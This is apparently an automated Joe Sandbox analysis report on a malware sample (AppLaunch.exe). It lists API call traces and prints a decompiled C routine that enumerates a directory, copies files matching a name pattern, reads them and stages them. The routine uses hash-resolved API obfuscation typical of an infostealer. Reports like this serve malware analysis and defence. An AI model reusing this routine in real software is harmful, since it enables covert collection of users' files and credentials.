0x0040410a
0x0040410d
0x00404127
0x0040412d
0x00404135
0x0040413a
0x0040414c
0x00404151
0x00404163
0x00404168
0x0040417a
0x0040417f
0x00404194
0x004041a6
0x004041a9
0x004041af
0x004041b2
0x004041c5
0x004041cd
0x004041d0
0x004041d5
0x0040422f
0x00404238
0x00000000
0x004041d7
0x004041f0
0x00404283
0x0040428a
0x00404293
0x0040429a
0x004042a3
0x00000000
0x004041f6
0x004041ff
0x00404202
0x00404205
0x0040420b
0x00404211
0x00404215
0x00404223
0x00404225
0x00404226
0x00404227
0x00404228
0x00404229
0x0040423e
0x00404241
0x00404248
0x0040424e
0x00404251
0x00000000
0x00404251
0x004041f0
0x004041d5
0x004040ed
0x004040da
0x0040409a
0x00404270
0x00404273
0x00000000
0x00404253
0x00404261
0x0040426a
0x00000000
0x0040426a
0x0040427b
0x0040427f

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000002,00000000,00000002), ref: 00404039

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AEA4
Part of subcall function 0041AD76: RealDriveType.SHELL32(273488AB,00000000), ref: 0041AEAD
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC61A23F,00000000), ref: 0041AEBA
Part of subcall function 0041AD76: RealDriveType.SHELL32(B3DAA166,00000000), ref: 0041AEC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED7
Part of subcall function 0041AD76: RealDriveType.SHELL32(D938E356,00000000), ref: 0041AEE0
Part of subcall function 0041AD76: lstrlenW.KERNEL32(00000000,?,00413AB2), ref: 0041AEE7
Part of subcall function 0041AD76: lstrlenW.KERNEL32(?,?,00413AB2), ref: 0041AEF0
Part of subcall function 0041AD76: RealDriveType.SHELL32(070D2202,00000000), ref: 0041AF02
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B94926A,00000000), ref: 0041AF0F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF19
Part of subcall function 0041AD76: RealDriveType.SHELL32(C8C42F5E,00000000), ref: 0041AF22
Part of subcall function 0041AD76: RealDriveType.SHELL32(D76050E1,00000000), ref: 0041AF2F
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B837923,00000000), ref: 0041AF3C
Part of subcall function 0041AD76: RealDriveType.SHELL32(9064BFC7,00000000), ref: 0041AF49
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF53
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF59
Part of subcall function 0041AD76: RealDriveType.SHELL32(AFE6E195,00000000), ref: 0041AF62
Part of subcall function 0041AD76: RealDriveType.SHELL32(3CCCC8AD,00000000), ref: 0041AF6F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF79
Part of subcall function 0041AD76: RealDriveType.SHELL32(49AB8BAF,00000000), ref: 0041AF82
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF8C
Part of subcall function 0041AD76: RealDriveType.SHELL32(49B60F98,00000000), ref: 0041AF95
Part of subcall function 0041AD76: RealDriveType.SHELL32(05950617,00000000), ref: 0041AFA2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(469C9C40,00000000), ref: 0041AFB5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFBF
Part of subcall function 0041AD76: RealDriveType.SHELL32(429F1FBD,00000000), ref: 0041AFC8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFD2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DE0C8199,00000000), ref: 0041AFDB
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFE5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFEB

FindFirstFileW.KERNEL32(00000000,?), ref: 00404062
lstrcmpW.KERNEL32(?), ref: 00404092
LocalAlloc.KERNEL32(00000040,00000208), ref: 004040A7
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 004040B6
LocalAlloc.KERNEL32(00000040,00000208), ref: 004040C5

Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C391
Part of subcall function 0041C37E: RealDriveType.SHELL32(49068A3F,00000000), ref: 0041C39F
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3A5
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3AB
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3B1
Part of subcall function 0041C37E: RealDriveType.SHELL32(90F51192,00000000), ref: 0041C3BA
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3C0
Part of subcall function 0041C37E: RealDriveType.SHELL32(8030BDD6,00000000), ref: 0041C3C9
Part of subcall function 0041C37E: RealDriveType.SHELL32(3529F220,00000000), ref: 0041C3D2
Part of subcall function 0041C37E: RealDriveType.SHELL32(44900BA8,00000000), ref: 0041C3DB
Part of subcall function 0041C37E: RealDriveType.SHELL32(80627B6F,00000000), ref: 0041C3E4
Part of subcall function 0041C37E: RealDriveType.SHELL32(4B2F893E,00000000), ref: 0041C3ED
Part of subcall function 0041C37E: RealDriveType.SHELL32(9237E9C0,00000000), ref: 0041C3F6
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3FC
Part of subcall function 0041C37E: RealDriveType.SHELL32(001C2176,00000000), ref: 0041C405
Part of subcall function 0041C37E: RealDriveType.SHELL32(DCD15041,00000000), ref: 0041C40E
Part of subcall function 0041C37E: RealDriveType.SHELL32(06ACA385,00000000), ref: 0041C417
Part of subcall function 0041C37E: RealDriveType.SHELL32(54EEC891,00000000), ref: 0041C420
Part of subcall function 0041C37E: RealDriveType.SHELL32(6F107F95,00000000), ref: 0041C429
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C42F
Part of subcall function 0041C37E: RealDriveType.SHELL32(1A1C9336,00000000), ref: 0041C438
Part of subcall function 0041C37E: RealDriveType.SHELL32(DF38BEB2,00000000), ref: 0041C441
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C447
Part of subcall function 0041C37E: RealDriveType.SHELL32(1D427676,00000000), ref: 0041C450
Part of subcall function 0041C37E: RealDriveType.SHELL32(2EC4F5A1,00000000), ref: 0041C459
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C45F
Part of subcall function 0041C37E: RealDriveType.SHELL32(3921A8C1,00000000), ref: 0041C468
Part of subcall function 0041C37E: RealDriveType.SHELL32(E7FE911E,00000000), ref: 0041C471
Part of subcall function 0041C37E: RealDriveType.SHELL32(3D01E728,00000000), ref: 0041C47A
Part of subcall function 0041C37E: RealDriveType.SHELL32(AEAA71A1,00000000), ref: 0041C483

CopyFileW.KERNEL32(00000000,?,00000000), ref: 004040E5
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000), ref: 00404102
GetFileSize.KERNEL32(00000000,00000000), ref: 0040410D
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040411A
StrCpyW.SHLWAPI(00000000), ref: 00404127

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFF1
Part of subcall function 0041AD76: RealDriveType.SHELL32(E995579D,00000000), ref: 0041AFFA
Part of subcall function 0041AD76: RealDriveType.SHELL32(84B4EFE9,00000000), ref: 0041B007
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B011
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B017
Part of subcall function 0041AD76: RealDriveType.SHELL32(69DD92CF,00000000), ref: 0041B020
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B02A
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60D9783,00000000), ref: 0041B033
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B03D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B043
Part of subcall function 0041AD76: RealDriveType.SHELL32(D524453E,00000000), ref: 0041B04C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B056
Part of subcall function 0041AD76: LocalAlloc.KERNELBASE(00000040,00000000,?,?,00413AB2), ref: 0041B05E
Part of subcall function 0041AD76: RealDriveType.SHELL32(95C49318,00000000), ref: 0041B079
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B083
Part of subcall function 0041AD76: RealDriveType.SHELL32(1DCFFBF4,00000000), ref: 0041B090
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B09A
Part of subcall function 0041AD76: RealDriveType.SHELL32(9C735FFF,00000000), ref: 0041B0A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0B1
Part of subcall function 0041AD76: RealDriveType.SHELL32(68C482AD,00000000), ref: 0041B0BE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0C8
Part of subcall function 0041AD76: RealDriveType.SHELL32(691D272A,00000000), ref: 0041B0D5
Part of subcall function 0041AD76: RealDriveType.SHELL32(DBDB247C,00000000), ref: 0041B0E2
Part of subcall function 0041AD76: RealDriveType.SHELL32(89A7247D,00000000), ref: 0041B0EF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0F9
Part of subcall function 0041AD76: RealDriveType.SHELL32(7BCCF2AA,00000000), ref: 0041B106
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B110
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD492CE4,00000000), ref: 0041B11D
Part of subcall function 0041AD76: RealDriveType.SHELL32(9D6BEA8D,00000000), ref: 0041B12A
Part of subcall function 0041AD76: RealDriveType.SHELL32(E0F34789,00000000), ref: 0041B137
Part of subcall function 0041AD76: RealDriveType.SHELL32(044B76F0,00000000), ref: 0041B144
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B14E

Part of subcall function 0041AD76: RealDriveType.SHELL32(F4BADB94,00000000), ref: 0041B15B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B165
Part of subcall function 0041AD76: RealDriveType.SHELL32(EE3E27F5,00000000), ref: 0041B172
Part of subcall function 0041AD76: RealDriveType.SHELL32(48485EFA,00000000), ref: 0041B17F
Part of subcall function 0041AD76: RealDriveType.SHELL32(070B9A41,00000000), ref: 0041B18C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B196
Part of subcall function 0041AD76: RealDriveType.SHELL32(571FE76C,00000000), ref: 0041B1A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1B7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1C1
Part of subcall function 0041AD76: RealDriveType.SHELL32(52ABA1CE,00000000), ref: 0041B1CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B9749A76,00000000), ref: 0041B1DB
Part of subcall function 0041AD76: RealDriveType.SHELL32(50A3EE5B,00000000), ref: 0041B1E8
Part of subcall function 0041AD76: RealDriveType.SHELL32(85FA4239,00000000), ref: 0041B1F5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1FF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B209
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B213
Part of subcall function 0041AD76: RealDriveType.SHELL32(6EFD5CA5,00000000), ref: 0041B231
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B23B
Part of subcall function 0041AD76: RealDriveType.SHELL32(0FD92313,00000000), ref: 0041B244
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B24A
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B250
Part of subcall function 0041AD76: RealDriveType.SHELL32(E4AA7B61,00000000), ref: 0041B259
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B25F
Part of subcall function 0041AD76: RealDriveType.SHELL32(9267EC63,00000000), ref: 0041B268
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B26E
Part of subcall function 0041AD76: RealDriveType.SHELL32(DA224DC3,00000000), ref: 0041B277
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B27D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B283
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B289
Part of subcall function 0041AD76: RealDriveType.SHELL32(A7867F73,00000000), ref: 0041B292

Part of subcall function 0041AD76: RealDriveType.SHELL32(4E7350CF,00000000), ref: 0041B29B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B9
Part of subcall function 0041AD76: RealDriveType.SHELL32(8A17A7AE,00000000), ref: 0041B2C2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2C8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B95CF60A,00000000), ref: 0041B2D7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2DD
Part of subcall function 0041AD76: RealDriveType.SHELL32(7CCFEA8C,00000000), ref: 0041B2E6
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60CCAF0,00000000), ref: 0041B2EF
Part of subcall function 0041AD76: RealDriveType.SHELL32(8B5FE606,00000000), ref: 0041B2F8
Part of subcall function 0041AD76: RealDriveType.SHELL32(642C6F94,00000000), ref: 0041B301
Part of subcall function 0041AD76: RealDriveType.SHELL32(D2826C73,00000000), ref: 0041B30A
Part of subcall function 0041AD76: RealDriveType.SHELL32(713B5C57,00000000), ref: 0041B313
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B319
Part of subcall function 0041AD76: RealDriveType.SHELL32(0C8175A7,00000000), ref: 0041B322
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B328
Part of subcall function 0041AD76: RealDriveType.SHELL32(696CF4EC,00000000), ref: 0041B331
Part of subcall function 0041AD76: RealDriveType.SHELL32(7FF3D359,00000000), ref: 0041B33A
Part of subcall function 0041AD76: GlobalFree.KERNEL32(?), ref: 0041B33F
Part of subcall function 0041AD76: RealDriveType.SHELL32(70AECD0D,00000000), ref: 0041B34C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B352
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B358
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B35E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B364
Part of subcall function 0041AD76: RealDriveType.SHELL32(AB226166,00000000), ref: 0041B36D
Part of subcall function 0041AD76: RealDriveType.SHELL32(1875566A,00000000), ref: 0041B376
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B37C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B382
Part of subcall function 0041AD76: RealDriveType.SHELL32(001CBF60,00000000), ref: 0041B38B

Part of subcall function 0041AD76: RealDriveType.SHELL32(6459A2D3,00000000), ref: 0041B394
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B39A
Part of subcall function 0041AD76: RealDriveType.SHELL32(FF4BA676,00000000), ref: 0041B3A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3A9
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3AF
Part of subcall function 0041AD76: RealDriveType.SHELL32(D97D5CDF,00000000), ref: 0041B3B8
Part of subcall function 0041AD76: RealDriveType.SHELL32(709B99DB,00000000), ref: 0041B3C1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3C7
Part of subcall function 0041AD76: RealDriveType.SHELL32(AC38C7DA,00000000), ref: 0041B3D0
Part of subcall function 0041AD76: RealDriveType.SHELL32(01624B42,00000000), ref: 0041B3D9
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3DF
Part of subcall function 0041AD76: RealDriveType.SHELL32(2027B2EF,00000000), ref: 0041B3E8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3EE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3F4
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3FA
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B400
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B406
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B40C
Part of subcall function 0041AD76: RealDriveType.SHELL32(26293B1F,00000000), ref: 0041B415
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B41B
Part of subcall function 0041AD76: RealDriveType.SHELL32(28C398C5,00000000), ref: 0041B424
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD324B5E,00000000), ref: 0041B42D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B433
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B439
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B43F
Part of subcall function 0041AD76: RealDriveType.SHELL32(BD15EE40,00000000), ref: 0041B448

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 004041A9
LocalAlloc.KERNEL32(00000040,00000040), ref: 004041B8
LocalAlloc.KERNEL32(00000040,0000020A), ref: 004041C7
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000002,000000FF,00000000,?,00000000,00000000), ref: 004041E8
StrCpyW.SHLWAPI(?,?), ref: 00404205
LocalFree.KERNEL32(00000000), ref: 0040422F
LocalFree.KERNEL32(?), ref: 00404238
LocalFree.KERNEL32(?), ref: 00404241
LocalFree.KERNEL32(00000000), ref: 00404248
FindNextFileW.KERNEL32(00000000,00000010), ref: 0040425B
FindClose.KERNEL32(00000000), ref: 0040426A
LocalFree.KERNEL32(00000002), ref: 00404273
LocalFree.KERNEL32(00000002), ref: 00404283
LocalFree.KERNEL32(00000000), ref: 0040428A
LocalFree.KERNEL32(?), ref: 00404293
LocalFree.KERNEL32(00000000), ref: 0040429A
LocalFree.KERNEL32(?), ref: 004042A3
LocalFree.KERNEL32(?), ref: 004042AE
LocalFree.KERNEL32(00000000), ref: 004042B5
DeleteFileW.KERNEL32(?), ref: 004042BE

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$Path$Slow$Local$Free$Alloc$File$Find$ByteCharMultiWidelstrlen$CloseCombineCopyCreateDeleteFirstGlobalNextSizelstrcmp
String ID:
API String ID: 1152012595-0
Opcode ID: 1e7d8a8fe5a308b056dc99036b1b9db1bac88c9ed8e5d708901c13d7e6a0f9d9
Instruction ID: 3d466811c43f9effeed5626929f5cab8bbb67795dc9d458dfa53935966552220
Opcode Fuzzy Hash: 1e7d8a8fe5a308b056dc99036b1b9db1bac88c9ed8e5d708901c13d7e6a0f9d9
Instruction Fuzzy Hash: 7B717E70B01204ABCB209FB0DC4DAAE7B75FF45756F504569F601A72A4EB388E52CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00407471 Relevance: 46.7, APIs: 31, Instructions: 203
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00407471(WCHAR* __ecx, void* __eflags, WCHAR* _a4, void* _a8, intOrPtr* _a12) {
				void* _v12;
				void* _v16;
				short* _v20;
				void* _v24;
				int _v28;
				void* _v32;
				void* _v36;
				WCHAR* _v40;
				signed int _v44;
				WCHAR* _v48;
				void* _v52;
				void* _v56;
				struct _WIN32_FIND_DATAW _v648;
				WCHAR* _t46;
				WCHAR* _t54;
				int _t63;
				void* _t64;
				WCHAR* _t67;
				WCHAR* _t68;
				WCHAR* _t69;
				WCHAR* _t70;
				WCHAR* _t71;
				WCHAR* _t73;
				short* _t75;
				int _t76;
				int _t79;
				WCHAR* _t92;
				WCHAR* _t95;
				void* _t96;
				WCHAR* _t114;
				WCHAR* _t116;
				WCHAR* _t117;
				WCHAR* _t118;
				WCHAR* _t119;
				WCHAR* _t120;
				WCHAR* _t122;
				void* _t124;
				WCHAR* _t128;
				int _t129;
				void* _t130;
				void* _t132;

				_t132 = __eflags;
				_t95 = __ecx;
				_v40 = __ecx;
				_t46 = E0041AD76(LocalAlloc(0x40, 0x208), _t95, _t132);
				_t114 =  *0x4231cc; // 0x513baf8
				_t128 = E0041AD76(_t46, _t114, _t132);
				_v24 = _t128;
				_t124 = FindFirstFileW(_t128,  &_v648);
				_v36 = _t124;
				if(_t124 != 0xffffffff) {
					_t129 = 0;
					do {
						if((_v648.dwFileAttributes & 0x00000010) != 0) {
							goto L11;
						} else {
							_t54 = StrStrW( &(_v648.cFileName),  *0x42329c);
							_t136 = _t54;
							if(_t54 == 0) {
								goto L11;
							} else {
								_t96 = PathCombineW(LocalAlloc(0x40, 0x208), _t95,  &(_v648.cFileName));
								_v12 = LocalAlloc(0x40, 0x208);
								if(E0041C37E(_t96,  &_v12, _t136) == 0) {
									L16:
									LocalFree(_v12);
									LocalFree(_t96);
									DeleteFileW(_v12);
								} else {
									_t63 = CopyFileW(_t96, _v12, _t129);
									_t138 = _t63;
									if(_t63 == 0) {
										goto L16;
									} else {
										_t64 = CreateFileW(_v12, 0x80000000, 1, _t129, 4, _t129, _t129);
										_v32 = _t64;
										GetFileSize(_t64, _t129);
										_t67 = StrCpyW(LocalAlloc(0x40, 0x208),  *0x4231b0);
										_t116 =  *0x42326c; // 0x513b9d8
										_t68 = E0041AD76(_t67, _t116, _t138);
										_t117 =  *0x423254; // 0x513d438
										_t69 = E0041AD76(_t68, _t117, _t138);
										_t118 =  *0x4231b0; // 0x513bc78
										_t70 = E0041AD76(_t69, _t118, _t138);
										_t119 =  *0x423394; // 0x513cca0
										_t71 = E0041AD76(_t70, _t119, _t138);
										_t120 =  *0x4231fc; // 0x513bb98
										_t73 = E0041AD76(E0041AD76(_t71, _t120, _t138), _a4, _t138);
										_t122 =  *0x4231b0; // 0x513bc78
										_t75 = E0041AD76(E0041AD76(_t73, _t122, _t138),  &(_v648.cFileName), _t138);
										_v20 = _t75;
										_t76 = WideCharToMultiByte(0xfde9, _t129, _t75, 0xffffffff, _t129, _t129, _t129, _t129);
										_v28 = _t76;
										_t19 = _t76 + 0x40; // 0x40
										_t130 = LocalAlloc(0x40, _t19);
										_v16 = LocalAlloc(0x40, 0x20a);
										_t79 = _v28;
										if(_t79 == 0) {
											LocalFree(_t130);
											LocalFree(_v16);
											goto L10;
										} else {
											if(WideCharToMultiByte(0xfde9, 0, _v20, 0xffffffff, _t130, _t79, 0, 0) == 0) {
												LocalFree(_v20);
												LocalFree(_t130);
												LocalFree(_v12);
												LocalFree(_t96);
												LocalFree(_v16);
												break;
											} else {
												_v56 = _t130;
												_v52 = _v32;
												_t92 = StrCpyW(_v16, _v12);
												_t112 = _a12;
												_v44 = _v44 & 0x00000000;
												_v48 = _t92;
												 *_t112 =  *_a12 + 1;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t124 = _v36;
												L10:
												LocalFree(_v12);
												LocalFree(_t96);
												_t95 = _v40;
												_t129 = 0;
												goto L11;
											}
										}
									}
								}
							}
						}
						L13:
						LocalFree(_v24);
						goto L14;
						L11:
					} while (FindNextFileW(_t124,  &_v648) != 0);
					FindClose(_t124);
					goto L13;
				}
				L14:
				return 0;
			}

0x00407471
0x00407482
0x00407486
0x00407493
0x00407498
0x004074a5
0x004074af
0x004074b8
0x004074ba
0x004074c0
0x004074c6
0x004074c8
0x004074cf
0x00000000
0x004074d5
0x004074e2
0x004074e8
0x004074ea
0x00000000
0x004074f0
0x00407513
0x0040751e
0x0040752a
0x004076f4
0x004076f7
0x004076fe
0x00407707
0x00407530
0x00407535
0x0040753b
0x0040753d
0x00000000
0x00407543
0x00407552
0x0040755a
0x0040755d
0x00407577
0x0040757d
0x00407585
0x0040758a
0x00407592
0x00407597
0x0040759f
0x004075a4
0x004075ac
0x004075b1
0x004075c3
0x004075c8
0x004075dd
0x004075ef
0x004075f2
0x004075f8
0x004075fb
0x0040760e
0x00407616
0x00407619
0x0040761e
0x00407678
0x00407681
0x00000000
0x00407620
0x00407639
0x004076cc
0x004076d3
0x004076dc
0x004076e3
0x004076ec
0x00000000
0x0040763f
0x00407648
0x0040764b
0x0040764e
0x00407654
0x0040765a
0x0040765e
0x0040766c
0x0040766e
0x0040766f
0x00407670
0x00407671
0x00407672
0x00407687
0x0040768a
0x00407691
0x00407697
0x0040769a
0x00000000
0x0040769a
0x00407639
